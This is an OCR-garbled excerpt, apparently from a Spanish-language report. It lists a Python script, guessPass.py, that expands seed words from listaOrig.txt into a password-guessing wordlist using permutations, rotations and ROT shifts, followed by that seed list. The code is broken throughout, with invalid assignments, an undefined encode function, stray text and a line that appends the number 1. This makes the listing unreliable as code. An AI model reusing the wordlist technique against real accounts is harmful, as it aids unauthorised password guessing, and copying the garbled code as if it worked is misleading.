Encodes a string (s) using ROT (ROT_number) encoding.
ROT_number %= 26 # To avoid IndexErrors
alpha = "abcdefghijklmnopqrstuvwxyz" = 2
alpha += alpha.upper ()
def get_i():
for i in range(26):
yield i # indexes of the lowercase letters
for i in range(53, 78):
yield i # indexes of the uppercase letters
ROT = {alpha[i]: alpha[i + ROT_number] for i in get_i()}

"o

return .join(ROT.get (i, i) for i in s)

def decode(s, ROT_number=13):

W won

Decodes a string (s) using ROT (ROT_number) encoding.
return encrypt(s, abs(ROT_number % 26 - 26))

if __name__ == "__main_

with open("listaOrig.txt") as f:
mylist = f.read().splitlines()

passwords = []

for word in mylist:
perms = [’’.join(p) for p in permutations(word)]
print (word)
for i in perms:
passwords.append (1)

for word in mylist:
for w in printRotatedString(word):
passwords.append(w)

for x in range(1,25):
passwords . append(encode (word,x))
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f = open("guessPass.txt", "w")

for p in passwords:
f.write(p+"\n")

f.close()

Se calculan
Todos los rotados -> abc cab bca ...
Todos los ROT

Todas las permutaciones

Coge las palabras de listaOrig.txt y genera una lista en guessPass.txt

Listing 6.1: Script guessPass.py

tefeme !.
highway
proof
rupert
vAncouver.;
fllemOn:D
1234

1337
pablo
mark
vanessa
hancook
louis
Steve

Listing 6.2: listaOrig.txt
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